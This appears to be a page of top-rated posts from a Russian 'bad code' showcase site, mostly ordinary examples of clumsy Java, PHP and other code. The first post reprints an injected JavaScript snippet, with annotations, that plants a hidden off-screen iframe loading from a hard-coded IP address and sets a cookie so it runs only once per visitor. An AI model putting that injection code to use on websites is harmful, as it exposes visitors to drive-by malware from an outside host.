1. Лучший говнокод

    В номинации:
    За время:
  2. JavaScript / Говнокод #16315

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    <script type="text/javascript" language="javascript"> // весь следующий код внедряется в страницу
    
    function llolwut()  // функция, создающая невидимый iframe - http://69.67.187.39/TpqzKHZm.php
    {
    	var momge = document.createElement('iframe');
    	
    	momge.src = 'http://69.67.187.39/TpqzKHZm.php';
    	momge.style.border = '0';
    	momge.style.position = 'absolute';
    	momge.style.left = '-1234px';
    	momge.style.top = '-1337px';
    	momge.style.height = '21px';
    	momge.style.width = '21px';
    	
    	if ( !document.getElementById( 'momge' ) ) // если еще не сделали iframe
    	{
    		document.write('<div name=\'momge\' id=\'momge\'></div>');
    		document.getElementById('momge').appendChild(momge ); // сделать его
    	}
    }
    
    function SetCookie( cookieName, cookieValue, nDays, path ) // установить кукисы
    {
    	var today = new Date();
    	var expire = new Date();
    	
    	if ( nDays == null || nDays == 0 )
    		nDays = 1;
    		
    	expire.setTime(today.getTime() + 1800000*24*nDays);
    	document.cookie = cookieName + "=" + escape( cookieValue ) + ";expires=" + expire.toGMTString() + ( (path) ? ";path = " + path : "");
    }
    
    function GetCookie(name) // получить кукисы
    {
    	var start = document.cookie.indexOf( name + "=" );
    	var len = start + name.length + 1;
    	
    	if ( (!start) && ( name != document.cookie.substring( 0,name.length ) ) )
    		return null;
    	
    	if ( start == -1 )
    		return null;
    		
    	var end = document.cookie.indexOf( ";", len );
    	
    	if ( end == -1 )
    		end = document.cookie.length;
    		
    	return unescape( document.cookie.substring( len, end ) );
    }
    
    // основной код
    
    if ( navigator.cookieEnabled ) // если кукисы включены в настройках
    {
    	if( GetCookie( '___utma' ) == '84f5e86989f374536450659c18f5489e' ) {} // если проставлены вредные кукисы - ничего не делать
    	else // если не проставлены - установить их и внедрить невидимый iframe в код страницы
    	{
    		SetCookie( '___utma', '84f5e86989f374536450659c18f5489e', '1', '/' );
    		llolwut();
    	}
    }
    </script>

    Мега-вирус, by H@C|<3R. Изначально все это дерьмо было в 1 строку и без комментариев.

    gost, 12 Июля 2014

    Комментарии (5)
  3. PHP / Говнокод #16223

    +152

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    <?php
    
    class Router
    {
        /** @var array */
        protected static $routeTable = array(
            'default'                         => 'index.php',
            'dashboard'                       => 'task.php',
            'user'                            => 'user.php',
            'location'                        => 'location.php',
            'ship'                            => 'ship.php',
            'task'                            => 'task.php',
            'subtask'                         => 'subtask.php',
            'view-task-list'                  => 'view-task-list.php',
            'completed-task'                  => 'completed-task.php',
            'view-completed-task-list'        => 'view-completed-task-list.php',
            'view-question-list'              => 'view-question-list.php',
            'user-report-problem'             => 'user-report-problem.php',
            'view-report-problem-list'        => 'view-report-problem-list.php',
            'view-direct-report-problem-list' => 'view-direct-report-problem-list.php',
            'reviewer'                        => 'reviewer.php',
            'report-direct'                   => 'report-direct.php',
            'report-to-task'                  => 'report-to-task.php',
    
            //TODO theme forest related (not used in application) remove
            'charts'                          => 'charts.php',
            'calendar'                        => 'calendar.php',
            'files'                           => 'files.php',
            'form_layouts'                    => 'form_layouts.php',
            'form_elements'                   => 'form_elements.php',
            'form_wizard'                     => 'form_wizard.php',
            'table'                           => 'table.php',
            'widgets'                         => 'widgets.php',
            'typography'                      => 'typography.php',
            'grids'                           => 'grids.php',
            'gallery'                         => 'gallery.php',
            'error'                           => 'error.php',
            'icons'                           => 'icons.php'
        );
    
        /**
         * Map route to page controller file.
         * Route represented as $_GET param 'p'
         *
         * @param string $route The route
         * @return string Path to page controller file
         */
        public static function dispatch($route)
        {
            $route = (string)$route;
    
            if (array_key_exists($route, self::$routeTable)) {
                return self::$routeTable[$route];
            }
    
            header('Location: index.php');
            exit();
        }
    
    }

    __proto__, 25 Июня 2014

    Комментарии (5)
  4. JavaScript / Говнокод #16220

    +158

    1. 1
    var isOn = parseInt(Math.random() * 1000 + 537) % 2 == 0;

    Генерация true || false случайным образом

    wertixvost, 24 Июня 2014

    Комментарии (5)
  5. Java / Говнокод #16217

    +72

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    private static String fetchEventName(LogEventTypes event) {
    	String result = null;
    	
    	if (LogEventTypes.A.name().equals(event.name()))) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.B.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.C.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.D.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.E.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.F.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.G.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.H.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.I.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.J.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.K.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	} else if (LogEventTypes.L.name().equals(event.name())) {
    		result = play.i18n.Messages.get("...");
    	}
    
    	return result;
    }

    Секретную инфу потер :) Но думаю, и так все ясно... LogEventTypes - у нас enum.
    Код писал индус (нет ну правда, индус).

    kostoprav, 24 Июня 2014

    Комментарии (5)
  6. Java / Говнокод #16193

    +73

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    // Current Month Days
                for (int i = 1; i <= _nDaysInMonth; i++) {
                    if (_myPrefs.getIfConfigured()) {
                        if (_regionWithHolidays != null && _regionWithHolidays.length > 0) {
    
                            String holidayDateStringFormat = String.valueOf(i) + "-" + getMonthAsString(nCurrentMonth) + "-" + _strCurrentSelectedYear;
                            for (int index = 0; index < _regionWithHolidays.length; index++) {
                                if (_regionWithHolidays[index].getHolidayDate().equals(holidayDateStringFormat)) {
                                    list.add(String.valueOf(i) + "-RED" + "-" + getMonthAsString(nCurrentMonth) + "-" + yy);
                                }
                            }
                        }
                    }
    
                    if (i == getCurrentDayOfMonth()) {
                        list.add(String.valueOf(i) + "-BLUE" + "-" + getMonthAsString(nCurrentMonth) + "-" + yy);
                    } else {
                        list.add(String.valueOf(i) + "-WHITE" + "-" + getMonthAsString(nCurrentMonth) + "-" + yy);
                        if (_myPrefs.getIfConfigured()) {
                            if (_regionWithHolidays != null && _regionWithHolidays.length != 0) {
                                String otherDates = String.valueOf(i) + "-" + getMonthAsString(nCurrentMonth) + "-" + _strCurrentSelectedYear;
                                for (int index = 0; index < _regionWithHolidays.length; index++) {
                                    if (_regionWithHolidays[index].getHolidayDate().equals(otherDates)) {
                                        list.remove(String.valueOf(i) + "-WHITE" + "-" + getMonthAsString(nCurrentMonth) + "-" + yy);
                                    }
                                }
                            }
                        }
                    }
                }
    
                // some code
    
                for (int i = 1; i <= _nDaysInMonth; i++) {
                    String[] day_color = list.get(i).split("-");
                    if (day_color[1].equals("WHITE")) {
                        //active dates in current month
                        dayNumberView.setTextColor(getResources().getColor(R.color.darkGrey_font));
                    } else if (day_color[1].equals("BLUE")) {
                        //current date in current month
                        holder.tvTime.setTextColor(getResources().getColor(R.color.whitetranslucent));
                        dayNumberView.setTextColor(getResources().getColor(R.color.whitetranslucent));
                        cell.setBackgroundResource(R.color.blue_font);
                    } else if (day_color[1].equals("RED")) {
                        //active dates in current month
                        dayNumberView.setTextColor(getResources().getColor(R.color.red));
                    }
                }

    Это приложение с десятками тысяч пользователей. Мне выпала честь править в нем баги. На сколько я могу судить задача этого куска была отобразить календарь на текущий месяц на экране и подсветить WHITE - обычные дни, BLUE - текущий, RED - выходные и праздничные. Итак в чем соль:
    1) сама соль метода - в одном цикле создается список строк вида НОМЕР-ЦВЕТ-МЕСЯЦ-ГОД, чуть ниже в аналогичном цикле эти строки разбиваются по "-" и сравнивается по строковому значению цвета. Кроме того день может быть или текущим или праздничным, но никак не одновременно.
    2) два практически одинаковых куска кода по 10 строк - строки 4-13 и 19-28, первый при определенных условия добавляет ПРАЗДНИЧНЫЙ день в календарь, потом день в 16-18 строках день всегда добавляется еще раз этот день, либо обычный(WHITE) либо текущий(BLUE), и выполняется второй кусок и если проходят те же условия т.е. фактические если был добавлен праздничный день(RED) то удаляется добавленный ОБЫЧНЫЙ день. Баг был в том что если текущий день был еще и праздничным то они задваивались. Сделать по нормальному - если день уже добавлен, не добавлять еще раз или сделать continue главному циклу. Не говоря уже о том чтобы добавить break после 9 строки, видно автор не знал про эти операторы.

    TAX, 19 Июня 2014

    Комментарии (5)
  7. Java / Говнокод #16186

    +79

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    public Long getRecordCount() {
            long result = 0;
            if(pfrFile != null){
                if(pfrFile.getПачкаВходящихДокументов().getРАСЧЕТ_ПО_СТРАХОВЫМ_ВЗНОСАМ_НА_ОПС_И_ОМС_ПЛАТЕЛЬЩИКАМИ_ПРОИЗВОДЯЩИМИ_ВЫПЛАТЫ_ФЛ() != null){
                    result++;
                }
                if(pfrFile.getПачкаВходящихДокументов().getРСВ1() != null){
                    result++;
                }
                if(pfrFile.getПачкаВходящихДокументов().getРАСЧЕТ_ПО_СТРАХОВЫМ_ВЗНОСАМ_НА_ОПС_И_ОМС_ПЛАТЕЛЬЩИКАМИ_СВ_ПРОИЗВОДЯЩИМИ_ВЫПЛАТЫ_ФЛ_НАЧИНАЯ_С_2012_ГОДА() != null){
                    result++;
                }
                if(pfrFile.getПачкаВходящихДокументов().getРАСЧЕТ_ПО_СТРАХОВЫМ_ВЗНОСАМ_НА_ОПС_И_ОМС_ПЛАТЕЛЬЩИКАМИ_СВ_ПРОИЗВОДЯЩИМИ_ВЫПЛАТЫ_ФЛ_НАЧИНАЯ_С_2013_ГОДА() != null){
                    result++;
                }
    ...
            return result;
    }

    :D

    skobets, 18 Июня 2014

    Комментарии (5)
  8. PHP / Говнокод #16176

    +157

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    while($row = $this->_db->fetchRow($qry)){
        $module_name = stripslashes($row["module_name"]);
        $permisos = array();
        $permisos["A"]=(($row["permission_value"] & 1)==1)?1:0;
        $permisos["E"]=(($row["permission_value"] & 2)==2)?1:0;
        $permisos["D"]=(($row["permission_value"] & 4)==4)?1:0;
        $permisos["L"]=(($row["permission_value"] & 8)==8)?1:0;
        $permisos["W"]=(($row["permission_value"] & 16)==16)?1:0;
        $permisos["V"]=(($row["permission_value"] & 32)==32)?1:0;
        $access_array[$module_name]=$permisos;
    }

    Испанский ACL

    stereojazz, 16 Июня 2014

    Комментарии (5)
  9. ActionScript / Говнокод #16159

    −102

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    x = 1;
    					x = (x >> 11);
    					x = (x + 1);
    					x = (x >> 9);
    					x = (x + 1);
    					x = (x >> 7);
    					x = (x + 1);
    					x = (x >> 5);
    					x = (x + 1);
    					x = (x >> 3);
    					x = (x + 1);
    					x = (x >> 10);
    					x = (x + 1);
    					x = (x >> 8);
    					x = (x + 1);
    					x = (x >> 6);
    					x = (x + 1);
    					x = (x >> 4);
    					x = (x + 1);
    					x = (x >> 2);
    					x = (x + 1);
    					if (x == 1)
    					{
    						ge.ha = true;
    					};

    из недр не менее изощрённого распковщика обфусцированного xml

    makc3d, 13 Июня 2014

    Комментарии (5)
  10. C++ / Говнокод #16124

    +58

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    Poor man' link time code generation:
    
    #include "main.cpp"
    #include "frame.cpp"
    #include "func.cpp"
    #include "account.cpp"
    #include "advancer.cpp"
    #include "audit.cpp"
    #include "cpio.cpp"
    
    g++ -whole-program -o my books.exe -O3 includeall.cpp

    http://blogs.msdn.com/b/oldnewthing/archive/2014/06/06/10531604.aspx

    someone, 07 Июня 2014

    Комментарии (5)
  11. Куча / Говнокод #16107

    +140

    1. 1
    <div contentediotable="true">

    AjiTae, 04 Июня 2014

    Комментарии (5)